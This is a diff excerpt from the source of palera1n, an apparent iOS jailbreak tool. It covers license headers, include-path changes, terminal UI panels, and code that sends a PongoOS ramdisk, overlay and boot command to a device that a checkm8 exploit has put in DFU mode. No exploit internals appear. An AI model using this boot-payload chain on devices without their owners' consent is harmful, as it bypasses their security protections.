// this wont run by default if builds dont have a ramdisk (WITH_RAMDISK=0)
if (g_payload_ramdisk.data_len > 0) {
result = upload_buffer_to_pongo(handle, g_payload_ramdisk.data, g_payload_ramdisk.data_len);
if (result.ret != 0) goto bad;
// embedded artifacts are lzma compressed, mostly for binary size
// this tells pongo to decompress after sending the ramdisk
// overwritten artifacts should not be compressed, so we always
// assume not compressed
if (g_payload_ramdisk.uncompressed_data_len > 0) {
char ramdisk_cmd[64];
snprintf(ramdisk_cmd, sizeof(ramdisk_cmd), "ramdisk %zu", g_payload_ramdisk.uncompressed_data_len);
result = issue_pongo_command(handle, ramdisk_cmd);
} else {
result = issue_pongo_command(handle, "ramdisk");
}
if (result.ret != 0) goto bad;
}
// this wont run by default if builds dont have a binpack (WITH_BINPACK=0)
if (g_payload_overlay.data_len > 0) {
result = upload_buffer_to_pongo(handle, g_payload_overlay.data, g_payload_overlay.data_len);
if (result.ret != 0) goto bad;
result = issue_pongo_command(handle, "overlay");
if (result.ret != 0) goto bad;
}
if (strlen(boot_args) > 0) {
result = issue_pongo_command(handle, xargs_cmd);
if (result.ret != 0) goto bad;
}
result = issue_pongo_command(handle, "bootx");
if (result.ret != 0) goto bad;
return 0;
bad:
return 255;
}
+57
View File
@@ -0,0 +1,57 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef USB_PONGO_H
#define USB_PONGO_H
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
#if WITH_CIDERRAIN
# include <ciderra1n/usb.h>
# include <ciderra1n/ra1n.h>
typedef client_t p1_usb_handle_t;
typedef transfer_t p1_transfer_ret_t;
typedef ra1n_client_err_t p1_checkm8_err_t;
#else
# include <openra1n/shim.h>
# include <openra1n/checkm8.h>
typedef usb_handle_t p1_usb_handle_t;
typedef transfer_ret_t p1_transfer_ret_t;
typedef checkm8_err_t p1_checkm8_err_t;
#endif
#define PONGO_MAX_SZ (0x7fe00)
#define MACHO_MAGIC_32 (const unsigned char[]){ 0xCE, 0xFA, 0xED, 0xFE }
#define MACHO_MAGIC_64 (const unsigned char[]){ 0xCF, 0xFA, 0xED, 0xFE }
#define CMD_LENGTH_MAX 512
p1_checkm8_err_t send_compressed_pongo(p1_usb_handle_t *handle, const uint8_t *pongo_bin, const size_t pongo_bin_length);
p1_checkm8_err_t send_full_pongo_jailbreak(p1_usb_handle_t *handle);
#endif // USB_PONGO_H
+31 -3
View File
@@ -1,7 +1,34 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if defined(WITH_GUI) || defined(WITH_TUI)
#include <nlohmann/json.hpp>
#include "gen/DFUHelperDeviceInfo.h"
#include "gen/embedded/DFUHelperDeviceInfo.h"
#include "sequence.hpp"
DfuSequence ParseSequence(const std::string& deviceKey)
@@ -9,8 +36,9 @@ DfuSequence ParseSequence(const std::string& deviceKey)
DfuSequence seq;
static nlohmann::json j = nlohmann::json::parse(
DFUHelperDeviceInfo,
DFUHelperDeviceInfo + DFUHelperDeviceInfo_len
embedded_DFUHelperDeviceInfo_json,
embedded_DFUHelperDeviceInfo_json +
embedded_DFUHelperDeviceInfo_json_len
);
auto itMap = j["devicemap"].find(deviceKey);
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if defined(WITH_GUI) || defined(WITH_TUI)
#ifndef SEQUENCE_H
+28 -2
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#include "Tui.hpp"
@@ -21,9 +48,8 @@
#include "TuiExploitPanel.hpp"
#include "TuiBranding.hpp"
#include "../globals.h"
#include "../utils.h"
#include "../paleinfo.h"
#include "../event.hpp"
#include "../events/event.hpp"
#define WIDTH 80
#define HEIGHT 24
+28 -1
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_HPP
@@ -7,7 +34,7 @@
#include <mutex>
#include <vector>
#include "../event.hpp"
#include "../events/event.hpp"
#include "TuiPanel.hpp"
class TuiPanel;
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#include "TuiBranding.hpp"
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_BRANDING_HPP
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#include "TuiDfuArt.hpp"
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_DFU_ART_HPP
+35 -21
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#include "TuiDfuPanel.hpp"
@@ -8,14 +35,13 @@
#include <unordered_set>
#include <ncurses.h>
#include <libirecovery.h>
#include "Tui.hpp"
#include "TuiDfuArt.hpp"
#include "TuiText.hpp"
#include "TuiRecoveryPanel.hpp"
#include "../sequence.hpp"
#include "../event.hpp"
#include "../events/event.hpp"
#include "../globals.h"
#include "../paleinfo.h"
@@ -296,13 +322,16 @@ void TuiDfuPanel::handle_device_update(const DeviceState& state) {
}
if (!state.connected) {
if (!m_isEnteringDfu) {
reset_sequence_state();
GetFrame()->ShowMain(1);
if (m_isEnteringDfu || m_waitingForDfuTransition) {
return;
}
reset_sequence_state();
GetFrame()->ShowMain(1);
return;
}
if (m_isEnteringDfu && state.mode == DeviceMode::DFU) {
m_isEnteringDfu = false;
m_dfuSuccess = true;
@@ -337,22 +366,7 @@ void TuiDfuPanel::reboot() {
if (!state.connected || state.mode != DeviceMode::Recovery)
return;
irecv_client_t client = nullptr;
int attempts = 0;
const int max_attempts = 8;
while (attempts < max_attempts) {
if (irecv_open_with_ecid(&client, state.ecid) == IRECV_E_SUCCESS)
break;
attempts++;
std::this_thread::sleep_for(std::chrono::milliseconds(250));
}
if (!client) return;
irecv_setenv(client, "auto-boot", "true");
irecv_saveenv(client);
irecv_reboot(client);
irecv_close(client);
exit_recovery();
}).detach();
}
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_DFU_PANEL_HPP
+46 -28
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#include "TuiExploitPanel.hpp"
@@ -12,7 +39,7 @@
#include "Tui.hpp"
#include "TuiText.hpp"
#include "../m8/run.h"
#include "../exploit.h"
static const char *buttons[] = { "Back" };
static constexpr int kExploitContentX = 2;
@@ -81,51 +108,42 @@ void TuiExploitPanel::set_status(const std::string& status, int progress) {
m_progress = std::clamp(progress, 0, 100);
}
void TuiExploitPanel::exploit() {
void TuiExploitPanel::exploit()
{
if (m_is_exploiting) {
return;
} else {
m_is_exploiting = true;
}
m_is_exploiting = true;
set_status(stage_to_string(STAGE_RESET), 0);
std::thread([this]() {
std::thread([this]()
{
const DeviceState deviceState = GetFrame()->GetDeviceState();
if (!deviceState.connected || deviceState.mode != DeviceMode::DFU) {
set_status("Device is not in DFU mode.", 0);
m_is_exploiting = false;
return;
}
auto sharedState = std::make_shared<shared_t>();
atomic_init(&sharedState->stage, STAGE_RESET);
atomic_init(&sharedState->stop, false);
atomic_init(&sharedState->result, 0);
auto stage = std::make_shared<std::atomic<int>>(STAGE_RESET);
auto isFinished = std::make_shared<std::atomic<bool>>(false);
std::thread worker([sharedState, isFinished]() {
::exploit(sharedState.get());
isFinished->store(true);
std::thread worker([stage]()
{
::exploit(reinterpret_cast<int*>(stage.get()));
stage->store(STAGE_DONE);
});
for (;;) {
int stage = atomic_load(&sharedState->stage);
int progress = stage_to_progress(stage);
bool finished = isFinished->load();
set_status(stage_to_string(stage), progress);
for (;;)
{
int currentStage = stage->load();
int progress = stage_to_progress(currentStage);
if (stage == STAGE_DONE || finished) {
atomic_store(&sharedState->stop, true);
break;
}
set_status(stage_to_string(currentStage), progress);
if (currentStage == STAGE_DONE) break;
std::this_thread::sleep_for(std::chrono::milliseconds(100));
}
if (worker.joinable()) {
worker.join();
}
if (worker.joinable()) worker.join();
m_is_exploiting = false;
}).detach();
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_EXPLOIT_PANEL_HPP
+51 -13
View File
@@ -1,14 +1,40 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#include "TuiMainPanel.hpp"
#include <string>
#include <ncurses.h>
#include "Tui.hpp"
#include "TuiText.hpp"
#include "../event.hpp"
#include "../events/event.hpp"
#include "../globals.h"
#include "../paleinfo.h"
@@ -19,14 +45,14 @@ static constexpr int kMainSeparatorX = 1;
static constexpr int kMainSeparatorWidth = 63;
static std::string get_device_title(const DeviceState& state) {
if (state.multipleDevices || state.connectedDeviceCount > 1) {
return "Multiple devices detected";
}
if (!state.connected) {
if (state.connectedDeviceCount > 1) {
return "Multiple devices detected";
}
return "No device connected";
}
const std::string product = state.productType.empty() ? "Unknown" : state.productType;
const std::string product = state.displayName.empty() ? (state.productType.empty() ? "Unknown" : state.productType) : state.displayName;
if (state.mode == DeviceMode::DFU) {
return "DFU Mode device";
}
@@ -34,11 +60,11 @@ static std::string get_device_title(const DeviceState& state) {
}
static std::string get_device_subtitle(const DeviceState& state) {
if (state.multipleDevices || state.connectedDeviceCount > 1) {
return std::to_string(state.connectedDeviceCount) +
" USB devices connected. Disconnect extras and keep only one device attached.";
}
if (!state.connected) {
if (state.connectedDeviceCount > 1) {
return std::to_string(state.connectedDeviceCount) +
"USB devices connected. Disconnect extras and keep only one device attached.";
}
return "Please connect a device to get started. Ensure version range is 15.0+";
}
@@ -57,7 +83,7 @@ static std::string get_device_subtitle(const DeviceState& state) {
}
return "Not supported\n" + ecid;
case DeviceMode::DFU:
return "Sorry, jailbreaking in DFU mode is not supported.";
return "Sorry, jailbreaking in DFU mode is not supported.\n";
case DeviceMode::None:
return "Please connect a device to get started. Ensure version range is 15.0+";
}
@@ -180,6 +206,9 @@ void TuiMainPanel::draw(int sy, int sx, int selected) {
}
void TuiMainPanel::handle_enter(int selected, int sy, int sx) {
DeviceState state = GetFrame()->GetDeviceState();
const bool block_start = state.multipleDevices || state.connectedDeviceCount > 1;
switch(selected) {
case 0:
palerain_flags ^= palerain_option_quick;
@@ -190,9 +219,9 @@ void TuiMainPanel::handle_enter(int selected, int sy, int sx) {
break;
case 2: {
DeviceState state = GetFrame()->GetDeviceState();
bool can_start = (state.connected && state.isSupported && state.mode != DeviceMode::DFU);
if (block_start) break;
bool can_start = (state.connected && state.isSupported && state.mode != DeviceMode::DFU);
if (can_start) {
if (state.mode == DeviceMode::Recovery) {
GetFrame()->ShowDfu(1);
@@ -214,6 +243,15 @@ void TuiMainPanel::handle_device_update(const DeviceState& state) {}
bool TuiMainPanel::is_button_enabled(int btn_idx) const {
DeviceState state = GetFrame()->GetDeviceState();
if (state.multipleDevices || state.connectedDeviceCount > 1) {
switch(btn_idx) {
case 0: return true;
case 1: return true;
case 2: return false;
case 3: return true;
}
}
switch(btn_idx) {
case 0: return true;
case 1: return true;
+27
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_MAIN_PANEL_HPP
+28 -1
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_TUI
#ifndef TUI_PANEL_HPP
@@ -5,7 +32,7 @@
#include <ncurses.h>
#include "../event.hpp"
#include "../events/event.hpp"
class TuiFrame;
+28 -23
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
